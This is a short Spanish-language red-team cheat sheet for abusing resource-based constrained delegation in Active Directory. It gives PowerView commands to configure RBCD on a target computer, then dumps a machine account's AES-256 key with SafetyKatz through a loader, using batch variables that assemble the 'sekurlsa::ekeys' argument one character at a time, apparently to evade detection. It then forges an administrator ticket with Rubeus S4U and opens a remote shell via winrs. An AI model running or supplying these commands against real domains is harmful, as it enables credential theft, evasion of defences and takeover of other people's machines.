Resource-based Constrained Delegation

Tip

El %Pwn% del comando de Rubeus corresponde a la codificación s4u (ver delegación restringida).

Configuración

Encontrar ACLs interesantes (GenericWrite) sobre un objeto computador (ver enumeración del dominio).

Como el usuario con GenericWrite, importar PowerView:

. .\PowerView.ps1

Configurar RBCD para el usuario local en la máquina objetivo:

Set-DomainRBCD -Identity <SERVER_NAME> -DelegateFrom '<LOCAL_USERNAME>$' -Verbose

Validar la configuración del RBCD:

Get-DomainRBCD

Explotación

Obtener el AES-256 de la cuenta local con SafetyKatz en la máquina de apoyo:

set "z=s"
set "y=y"
set "x=e"
set "w=k"
set "v=e"
set "u=:"
set "t=:"
set "s=a"
set "r=s"
set "q=l"
set "p=r"
set "o=u"
set "n=k"
set "m=e"
set "l=s"
set "Pwn=%l%%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"
Loader.exe -Path SafetyKatz.exe -args "%Pwn%" "exit"

Usar el RBCD para acceder a la máquina objetivo:

Loader.exe -path Rubeus.exe -args %Pwn% /user:<LOCAL_USERNAME>$ /aes256:<AES-256_KEY_LOCAL_ACCOUNT> /msdsspn:<SERVICE_NAME> /impersonateuser:administrator /ptt

Acceder mediante WinRM a la máquina:

winrs /r:<SERVER_NAME> cmd